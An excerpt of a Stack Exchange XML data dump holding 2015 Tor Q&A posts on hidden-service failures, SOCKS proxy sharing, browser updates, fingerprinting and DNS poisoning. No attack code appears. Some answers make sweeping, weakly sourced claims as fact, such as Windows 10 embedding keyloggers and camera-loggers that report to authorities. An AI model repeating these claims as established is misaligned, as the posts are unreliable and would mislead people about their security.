href=&quot;https://www.torproject.org/download&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2015-08-13T10:01:02.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7456" PostTypeId="1" CreationDate="2015-08-13T16:46:42.973" Score="7" ViewCount="1938" Body="&lt;p&gt;I created a Tor hidden service (a server binded to localhost port and &lt;code&gt;torrc&lt;/code&gt; config'd to use the 127.0.0.1 xxxx) for clients to connect to. It was working great for a month or so, and now no one can connect to it. I see it is still setup properly in my &lt;code&gt;torrc&lt;/code&gt;, and restarting &lt;code&gt;tor&lt;/code&gt; seems to work and it says it's reading from &lt;code&gt;/etc/torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my log from the server: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Aug 13 10:55:11.000 [notice] Bootstrapped 5%: Connecting to directory server. &#xA;Aug 13 10:55:11.000 [notice] We now have enough directory information to build circuits. &#xA;Aug 13 10:55:11.000 [notice] Bootstrapped 80%: Connecting to the Tor network. &#xA;Aug 13 10:55:11.000 [notice] Bootstrapped 85%: Finishing handshake with first hop. &#xA;Aug 13 10:55:12.000 [notice] Bootstrapped 90%: Establishing a Tor circuit. &#xA;Aug 13 10:55:13.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;Aug 13 10:55:13.000 [notice] Bootstrapped 100%: Done. &#xA;Aug 13 10:56:38.000 [notice] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;Aug 13 10:56:53.000 [notice] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;Aug 13 10:57:21.000 [notice] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The client machine &lt;code&gt;tor&lt;/code&gt; log says the same thing: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the client end it says the service is unavailable, but on the server end, &lt;code&gt;tor&lt;/code&gt; is running, and the server process is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I troubleshoot this?&lt;/p&gt;&#xA;" OwnerUserId="8124" LastEditorUserId="5445" LastEditDate="2015-08-19T09:48:32.857" LastActivityDate="2018-06-28T17:22:38.047" Title="Suddenly my Tor hidden service isn't available" Tags="|help|circuit|onion-routing|client|server|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7457" PostTypeId="2" ParentId="7449" CreationDate="2015-08-13T18:28:39.303" Score="1" Body="&lt;p&gt;It's questionable whether it's an improvement to the existing way that a client generates certificates. Your HAProxy is basically converting your configuration into an pre-2014 Tor circuit building process because it will likely choose a separate entryguard for each circuit. This makes it statistically less secure which is why they switched to a semi-persistent entryguard model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that you're getting some bandwidth improvements just because it's a different way of connecting to Tor but Tor does attempt to generate a bunch of streams for you already. From this perspective, it is already load balancing (and it's much smarter at it than HAproxy FWIW). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better way to do what you're doing is to learn how to manually access the circuits that are pre-build and attach your streams one by one so that a single stream can take a single circuit path without affecting speed. So yeah, it works fine, just a little ham fisted. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-08-13T18:28:39.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7461" PostTypeId="2" ParentId="1067" CreationDate="2015-08-14T01:24:46.837" Score="2" Body="&lt;p&gt;I think is best is to not include any non-legitimated part in the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Untill there is not a part that could be considered like NSA-safe 'apart' of TOR, if a minor safe part like VPN is include, the strength of the whole chain is equal to the wickest part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion Tor should be used Alone and as much isolated as possible, (like with live Tails), Until you find a trusted net/system/protocol to connect trough and could be combined with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in this case, if Tor and the new found system to safely connect are combined, under anonymity perspective, it doesn't matter which go first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I think that connect with TOR and after go to some trusted (or Russian at least) free-web-proxy could add an extra layer. (not translate.google)&#xA;but I didn't try it yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To end, In the second example: me&gt;&gt;VPN(NSA)&gt;&gt;Tor&gt;&gt;target is equal to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;me&gt;&gt;NSA&gt;&gt;Tor&gt;&gt;Target. NSA guys could be happy with that.&lt;/p&gt;&#xA;" OwnerUserId="8128" LastActivityDate="2015-08-14T01:24:46.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7462" PostTypeId="1" CreationDate="2015-08-14T07:05:49.977" Score="5" ViewCount="4529" Body="&lt;p&gt;I would like to use Tor to bypass filtering/firewall rules that don't allow me to access gmail (rest assured it is not for malicious purposes). I've tried doing so in the past by gmail has an awful difficult time and is suspicious of the location I'm logging in from. Even with Javascipt allowed, it seems to not want to work and often hangs on the &quot;loading&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to better use gmail with Tor? I don't really care about the anonymity aspect since I'm logging in as myself anyways. I have 2 factor authentication enabled in gmail.&lt;/p&gt;&#xA;" OwnerUserId="8131" LastActivityDate="2015-08-14T11:43:45.110" Title="Signign into gmail with tor" Tags="|tor-browser-bundle|email|google|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7463" PostTypeId="1" CreationDate="2015-08-14T08:21:31.503" Score="2" ViewCount="75" Body="&lt;p&gt;Just what the title says: is it safe/good practise/etc to run tor as a service (LM17.2) &lt;em&gt;and&lt;/em&gt; TBB on the same PC, same time, same ports? Will this be related to that part of the FAQ where it says I have better chance at anonymity due to the &quot;mingling&quot; of the traffic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative: would using tor and TBB with different ports but at the same time (same computer) be an extra security as the same part in the FAQ says?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that bothers me most is how does this (do these two) affect this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] if an attacker can watch all of your incoming and outgoing traffic, then it's easy for him to learn which connections were relayed and which started at you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This &quot;attacker&quot; here sounds like my ISP...&lt;/p&gt;&#xA;" OwnerUserId="8132" LastActivityDate="2015-08-14T08:21:31.503" Title="Run tor and TBB at the same time with the same ports on same PC" Tags="|tor-browser-bundle|configuration|relays|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7465" PostTypeId="2" ParentId="7462" CreationDate="2015-08-14T11:43:45.110" Score="3" Body="&lt;p&gt;You can't do anything better because Tor is build for providing effective anonymity for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are using Gmail with Tor, Google see a bunch of logins from different places. Thats why Google is suspicious of the location you are logging in from. Tor is slow because your traffic is bouncing through volunteers' computers in various parts of the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you don't want to be anonymous, I would recommend you to set up a VPN for your purpose. It would work faster than Tor.&lt;/p&gt;&#xA;" OwnerUserId="8134" LastActivityDate="2015-08-14T11:43:45.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7466" PostTypeId="1" AcceptedAnswerId="7487" CreationDate="2015-08-14T20:41:00.137" Score="2" ViewCount="149" Body="&lt;p&gt;I'm trying to install &lt;code&gt;tor&lt;/code&gt; server on &lt;code&gt;TorServer&lt;/code&gt; computer and I like to use it on other machine in the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in TorServer I can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5 localhost:9050 somewebsite.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I like to do something like this on otherComputer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5 TorServer:9050 somewebsite.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="5203" LastEditorUserId="5445" LastEditDate="2015-08-19T08:47:14.130" LastActivityDate="2015-08-19T15:10:48.993" Title="How to connect to TOR server from other computers" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7467" PostTypeId="2" ParentId="7456" CreationDate="2015-08-14T21:17:45.897" Score="4" Body="&lt;p&gt;Ok, I figured this out. For some reason the custom onion address I made with Shallot was no longer working. I made a new hidden service and got rid of the existing one, restarted Tor, and voila! I'm not sure why this happened, but this solved both hidden services that had stopped working.&lt;/p&gt;&#xA;" OwnerUserId="8126" LastEditorUserId="71" LastEditDate="2015-08-16T00:16:01.290" LastActivityDate="2015-08-16T00:16:01.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7468" PostTypeId="1" AcceptedAnswerId="8828" CreationDate="2015-08-15T00:05:34.790" Score="2" ViewCount="131" Body="&lt;p&gt;In the past these questions were asked about updating Tor Browser Bundle:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/54/how-can-i-switch-from-one-tor-browser-bundle-version-to-another&quot;&gt;How can I switch from one Tor Browser Bundle version to another?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/318/how-do-i-keep-my-tor-browser-bundle-current&quot;&gt;How do I keep my Tor Browser Bundle current?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For a while now we have had an updater, what I would like to know is: Is it still safer to download and verify the tarball &amp;amp; sig from the downloads page and copy the directory that contains your entry guards into the new Browser (once you have extracted it) than it is to just run the updater?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not taking the convenience of the updater into account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main concern being that unless I am mistaken it is harder to verify that you were not the victim of a MitM attack during the update if you use the updater.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize: I am unsure of how the updater verifies the integrity of updates, but how does it compare from a security perspective against the old way described in the linked questions?&lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="88" LastEditDate="2015-08-20T12:01:14.773" LastActivityDate="2015-10-14T04:10:39.030" Title="What is the safest way to keep TBB up to date?" Tags="|tor-browser-bundle|verification|update|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7469" PostTypeId="2" ParentId="7353" CreationDate="2015-08-15T06:52:20.383" Score="5" Body="&lt;p&gt;Windows 10 has a keylogger embedded, thus all the words, codes, psws that user insert using keyboard could be sent to Windows Servers and to authorities per request. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it mean we should use &quot;on screen&quot; keyboard or other alternative input (speech) while using Tor? Unfortunately, Windows 10 has camera-logger embedded as well as microphone-logger embedded and a screenshot are pretty simple to make... hence, you almost should have on-screen input keyboard embedded in Tor, otherwise you are transparent.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am afraid you cannot disable such a keylogging behavior by easy means, thus Windows 10 should compromise Tor as an incognito tool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, the overall impression using Tor on Windows 10 will compromise any of your activities including Tor usage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://aeronet.cz/news/analyza-windows-10-ve-svem-principu-jde-o-pouhy-terminal-na-sber-informaci-o-uzivateli-jeho-prstech-ocich-a-hlasu/&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7640" LastEditorUserId="7640" LastEditDate="2015-08-17T19:35:56.430" LastActivityDate="2015-08-17T19:35:56.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7470" PostTypeId="1" CreationDate="2015-08-15T08:46:33.053" Score="4" ViewCount="715" Body="&lt;p&gt;Is it possible to keep (or import) the Tor Browser's history data (not the bookmarks) when updating from an older version to TBB 5.0? And if so, then how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: Using TBB as my &quot;default browser&quot; for almost one year now with LinuxMint, I somewhen decided to switch on the browsing history, as well as address completion and decent caching (due to data limits on my mobile internet connection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't agreed to update ever since though, because the former manual TBB update process would dispose of all the convenient history and completion data :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While trying out the new TBB 5.0 I discovered that it has a nice+smooth Auto-Updater (similar to the normal Firefox-Updater) which will probably keep &#xA;these data from now on. Now that is great work, Thanks a lot! - But still, how can I transfer my old browsing history into the new version 5.0?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. In case there is NO way - then how can I start-up the old TBB in an &quot;offline mode&quot; (i.e. without connecting to the Tor network), to use it just as a reference when searching for an old page address I can't remember any more?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance for any reply!&#xA;Warm regards from Dresden, Germany -&#xA;Ulf&lt;/p&gt;&#xA;" OwnerUserId="8139" LastEditorUserId="8140" LastEditDate="2015-08-16T07:50:06.927" LastActivityDate="2022-12-27T08:37:01.177" Title="How to keep (or import) the Tor Browser's history, when updating from an older version to TBB 5.0?" Tags="|tor-browser-bundle|configuration|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7471" PostTypeId="2" ParentId="7470" CreationDate="2015-08-15T14:53:14.563" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://support.mozilla.org/en-US/kb/recovering-important-data-from-an-old-profile#w_bookmarks-and-browsing-history&quot; rel=&quot;nofollow&quot;&gt;https://support.mozilla.org/en-US/kb/recovering-important-data-from-an-old-profile#w_bookmarks-and-browsing-history&lt;/a&gt;&#xA;Replace Browser/TorBrowser/Data/Browser/profile.default/places.sqlite file with old one.&lt;/p&gt;&#xA;" OwnerUserId="8143" LastActivityDate="2015-08-15T14:53:14.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7473" PostTypeId="2" ParentId="7206" CreationDate="2015-08-16T06:53:20.023" Score="6" Body="&lt;p&gt;I always use this feature to get new bridges but the address is different. I send &quot;get bridges&quot; to &lt;strong&gt;&lt;code&gt;bridges@torproject.org&lt;/code&gt;&lt;/strong&gt;. Actually I sent one to be sure about my answer (&lt;strong&gt;:D&lt;/strong&gt;). It is working perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can get new bridges through &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;bridges.torproject.org&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5413" LastEditorUserId="5413" LastEditDate="2015-08-16T06:58:52.513" LastActivityDate="2015-08-16T06:58:52.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7474" PostTypeId="1" AcceptedAnswerId="7475" CreationDate="2015-08-17T05:32:50.897" Score="5" ViewCount="3483" Body="&lt;p&gt;When I maximize Tor, it says this:  &lt;a href=&quot;https://i.stack.imgur.com/D6AuW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D6AuW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can my monitor size be used to track me?  I mean, I guess if I have a certain brand, you can rule out some countries, but I'm pretty sure I'm not the only one with my monitor brand/size.&lt;/p&gt;&#xA;" OwnerUserId="8147" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-02-21T05:08:41.673" Title="Tor Warning Against Maximizing Window" Tags="|anonymity|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7475" PostTypeId="2" ParentId="7474" CreationDate="2015-08-17T07:33:12.657" Score="6" Body="&lt;p&gt;Well thats true, but the Window Size is not the only thing which can be tracked and will be tracked. The Windows size alone will not identify you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But tracking nowadays is not only done by cookies and all the information is cross-referenced and matched. So with all Informations (from a normal browser) about your OS, Windowsill JS_Engine, Flashversion, Surfhabits, Key-press-pattern, Language and much much more can a evil person distinguish from others with a guarantee of 75% up to 99% ... and the Tor-Browser helps you to NOT give some  additional Information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if most tor users leave the default size, that information becomes useless for identifying them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://panopticlick.eff.org&quot; rel=&quot;nofollow&quot;&gt;A Project where you can test only the Browser&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="7549" LastEditorUserId="7011" LastEditDate="2015-09-06T14:50:45.787" LastActivityDate="2015-09-06T14:50:45.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7477" PostTypeId="1" CreationDate="2015-08-17T12:56:18.763" Score="6" ViewCount="819" Body="&lt;p&gt;Tor uses an exit node to resolve DNS as per &lt;a href=&quot;https://tor.stackexchange.com/questions/8/how-does-tor-route-dns-requests&quot;&gt;How does Tor route DNS requests?&lt;/a&gt;. Isn't it very easy for the exit node to serve a fake website by DNS poisoning? How does Tor handle this threat?&lt;/p&gt;&#xA;" OwnerUserId="8150" LastEditorUserId="5445" LastEditDate="2015-08-19T09:48:06.237" LastActivityDate="2016-01-11T05:02:40.120" Title="How does Tor handle DNS poisoning?" Tags="|dns|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7481" PostTypeId="2" ParentId="7392" CreationDate="2015-08-18T15:32:49.683" Score="0" Body="&lt;p&gt;After some digging, it turns out that the LEDs are configurable in OpenWRT, and on this device they were configured to blink red by default.  I didn't quite get all the settings and what they meant, but I found the docs by searching for the current values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.openwrt.org/doc/uci/system&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; goes over the capabilities of the LED and what they mean (scroll down to WiFi activity).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default is to blink the LED red on phy0tpt, so I fiddled with the settings to get the router to do what I wanted.  It seems that the LED settings will take effect without a reboot, but I had to do a power cycle to get them to fully take.  Before the power cycle, i was getting multi-colored flashes.  Afterwards, solid green like I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I have the docs and know what it means, I may play around with it.&lt;/p&gt;&#xA;" OwnerUserId="7907" LastActivityDate="2015-08-18T15:32:49.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7482" PostTypeId="2" ParentId="7474" CreationDate="2015-08-18T21:49:54.087" Score="3" Body="&lt;p&gt;In addition to the cross-referencing of window size with other bits of information like extensions changes, fonts, etc., consider a user who visits multiple sites at around the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That user may be the only one with that particular browser window size visiting both site A and site B at that time. The size alone would provide a smoking gun for linking the visits, even across different Tor circuits, thereby damaging the visitor's cross-site anonymity.&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2015-08-18T21:49:54.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7484" PostTypeId="2" ParentId="7433" CreationDate="2015-08-19T03:58:25.553" Score="1" Body="&lt;p&gt;I think you are talking about &lt;code&gt;torify&lt;/code&gt; command. If so, Try to install &lt;strong&gt;&lt;em&gt;FoxyProxy&lt;/em&gt;&lt;/strong&gt; Extension for Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this command a couple of times and my Firefox got weird. After a lot of searching, still I don't know why this happens but foxyproxy is working for me.&lt;/p&gt;&#xA;" OwnerUserId="5413" LastEditorUserId="5413" LastEditDate="2016-07-22T05:32:48.707" LastActivityDate="2016-07-22T05:32:48.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7485" PostTypeId="2" ParentId="7398" CreationDate="2015-08-19T10:53:56.897" Score="0" Body="&lt;p&gt;For some reason the tutorial linked in the question does not work correctly with TorBrowser, but I managed to connect to TorBrowser socket on port 9150 and use it in my app by rewriting the app in Qt (which I was going to do sooner or later) and simply using the &lt;code&gt;QNetworkProxy&lt;/code&gt; class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;QNetworkProxy proxy;&#xA;proxy.setType(QNetworkProxy::Socks5Proxy);&#xA;proxy.setHostName(&quot;localhost&quot;);&#xA;proxy.setPort(9150);&#xA;QNetworkProxy::setApplicationProxy(proxy);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This answer will not help everyone, but it's kind of a workaround and it works for me.&lt;/p&gt;&#xA;" OwnerUserId="8043" LastActivityDate="2015-08-19T10:53:56.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7486" PostTypeId="2" ParentId="7477" CreationDate="2015-08-19T14:57:59.827" Score="1" Body="&lt;p&gt;Yes it is, it's also poss. for the exit node to inject html into web pages to either deanonimise or spread malware to the tor user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Malory won't get away with doing this however because when an exit node initially comes on stream it needs to behave well for a period of time ( =/= a month IIRC) before too much &quot;real&quot; traffic flows via it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During this period (and after as well) tor monitors traffic flowing in and out of the node and if it detects anything funny it blacklists the node.&lt;/p&gt;&#xA;" OwnerDisplayName="user5416" LastActivityDate="2015-08-19T14:57:59.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7487" PostTypeId="2" ParentId="7466" CreationDate="2015-08-19T15:10:48.993" Score="1" Body="&lt;p&gt;OK I'm not 100% on this but I think 9050 is designed to only be accessible to localhost, so TorServer is refusing requests incoming to 9050.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case you'll need a proxy on TorServer to forward incoming requests to 9050.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used Privox before and that's worked well.&lt;/p&gt;&#xA;" OwnerDisplayName="user5416" LastActivityDate="2015-08-19T15:10:48.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7489" PostTypeId="1" CreationDate="2015-08-19T23:26:24.660" Score="4" ViewCount="98" Body="&lt;p&gt;I'm running Tor 5.0.1 on an up-to-date Kubuntu system.  Normally Tor runs fine; I route Thunderbird through the Tor port as well, and everything runs smoothly.  But in the last three or four days the Tor browser has slowed to where it no longer loads any web pages more complex than Startpage.  The browser starts without complaint and visits check.torproject.org successfully.  Anything more complicated than that, and the browser times out.  Since Thunderbird is using the same connection, email sometimes times out as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been fine for a very long time and only started timing out in the last few days.  I read something about clearing state files, but I don't know where they are.  Can anyone advise, please?&lt;/p&gt;&#xA;" OwnerDisplayName="user8170" LastActivityDate="2022-02-15T00:02:25.183" Title="Tor 5.0.1 times out on any non-trivial webpage" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7490" PostTypeId="1" CreationDate="2015-08-20T02:17:04.957" Score="2" ViewCount="4342" Body="&lt;p&gt;I just downloaded the Tor Browser. When first launching, how do I know which network setting to select?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vVx7q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vVx7q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;I would like to connect directly to Tor network&quot; or &quot;This computer's Internet connection is censored,filtered, or proxied&quot; are the two options. What does the second option mean?&lt;/p&gt;&#xA;" OwnerUserId="8172" LastEditorUserId="71" LastEditDate="2015-08-25T09:13:51.180" LastActivityDate="2015-08-25T09:13:51.180" Title="I need help choosing my type of internet connection" Tags="|tor-browser-bundle|network-configuration|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7491" PostTypeId="2" ParentId="7490" CreationDate="2015-08-20T03:34:35.770" Score="2" Body="&lt;p&gt;First try &quot;connect directly to Tor network&quot;. Normally it works. If it doesn't work then check whether you are using any proxy to connect to internet or not. Bridges are required when your ISP stops connecting to Tor network.&lt;/p&gt;&#xA;" OwnerUserId="1384" LastActivityDate="2015-08-20T03:34:35.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7492" PostTypeId="1" CreationDate="2015-08-20T04:56:23.073" Score="0" ViewCount="2248" Body="&lt;p&gt;For experiment purpose, I have set up a FTP site in IIS 7.0. While trying to access FTP site via Tor Browser, I am getting error &quot;550 Data channel timed out&quot;. I have made connection from Tor exit node which supports FTP port numbers 20 and 21.&lt;br&gt;&#xA;Can anybody please highlight me on this problem? Is it that Tor Browser don't support FTP sites?&lt;br&gt;&#xA;Note: I can easily visit this FTP using using normal browser.&lt;/p&gt;&#xA;" OwnerUserId="1384" LastActivityDate="2015-08-24T02:48:56.437" Title="Can Tor Browser be used to download files from FTP site?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7494" PostTypeId="1" CreationDate="2015-08-21T05:56:14.847" Score="1" ViewCount="833" Body="&lt;p&gt;I usually leave Orbot running continuously, but sometimes, I accidentally deactivate the service.  After this, it doesn't seem to create a Tor circuit.  It has the notification on my phone, but it only has this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Orbot/&lt;br&gt;&#xA;0Kbps download/ 0Kbps upload&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under this, it usually shows between 1 and 6 location, IPs, and name blocks, but it does not do this after.  When I open Orweb, it has either a tunnel error or a timed out error (ERR_TIMED_OUT).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this also means the apps I run through the Tor proxy are not connecting to the network, and I have to reinstall.  Is there a way to prevent having to reinstall the app?&lt;/p&gt;&#xA;" OwnerUserId="8147" LastActivityDate="2015-08-21T05:56:14.847" Title="Orbot Doesn't Work on Restart" Tags="|orbot|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7497" PostTypeId="1" AcceptedAnswerId="8875" CreationDate="2015-08-21T10:32:00.010" Score="11" ViewCount="4854" Body="&lt;p&gt;I have a proxy setup on one of my machines which is behind a router. And I need to use that proxy from another network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my problem is that I &lt;em&gt;cannot&lt;/em&gt; forward ports from the router to the proxy machine. :( So I have no way to connect to the machine from outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this, I thought of setting up the proxy machine as a &lt;em&gt;Single hop Tor relay&lt;/em&gt; instead and use &lt;em&gt;only&lt;/em&gt; that node from my machine (using Tor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want the relay to be private (only to be used by my machine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible? Or am I over-complicating this? Is there a simpler approach? (with or without Tor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why I am not using the standard Tor relays is that I need a stable connection 24*7 and Tor network doesn't seem to be stable always. :(&lt;/p&gt;&#xA;" OwnerUserId="8120" LastEditorUserId="88" LastEditDate="2015-08-21T13:55:34.300" LastActivityDate="2016-07-22T19:19:42.800" Title="Is it possible to setup a private TOR relay" Tags="|relays|proxy|private|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7498" PostTypeId="1" CreationDate="2015-08-21T15:02:47.940" Score="0" ViewCount="289" Body="&lt;p&gt;As the title says: if I enable javascript can my ISP know what I am doing? As in do I become transparent (somehow) to my ISP? I am only interested to know the ISP side, as the tor FAQ (&amp;amp;co) are quite clear on the visited address side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give a quick example, suppose I am at a concert, in a crowd, somewhere. If I talk to a person I don't want others to know that I talk to that person or what. Of course, this is &lt;em&gt;only&lt;/em&gt; for the case I am enabling javascript. If this happens, I accept that the other person knows.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My apologies, I should have mentioned this is directly (strictly) related to the tor borwser. I thought being in the tor SE would make this redundant,  parently I was wrong.&lt;/p&gt;&#xA;" OwnerUserId="8164" LastEditorUserId="8164" LastEditDate="2015-08-22T10:57:17.107" LastActivityDate="2022-08-08T18:01:29.820" Title="Does enabling java let my ISP find out what I am doing?" Tags="|security|javascript|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
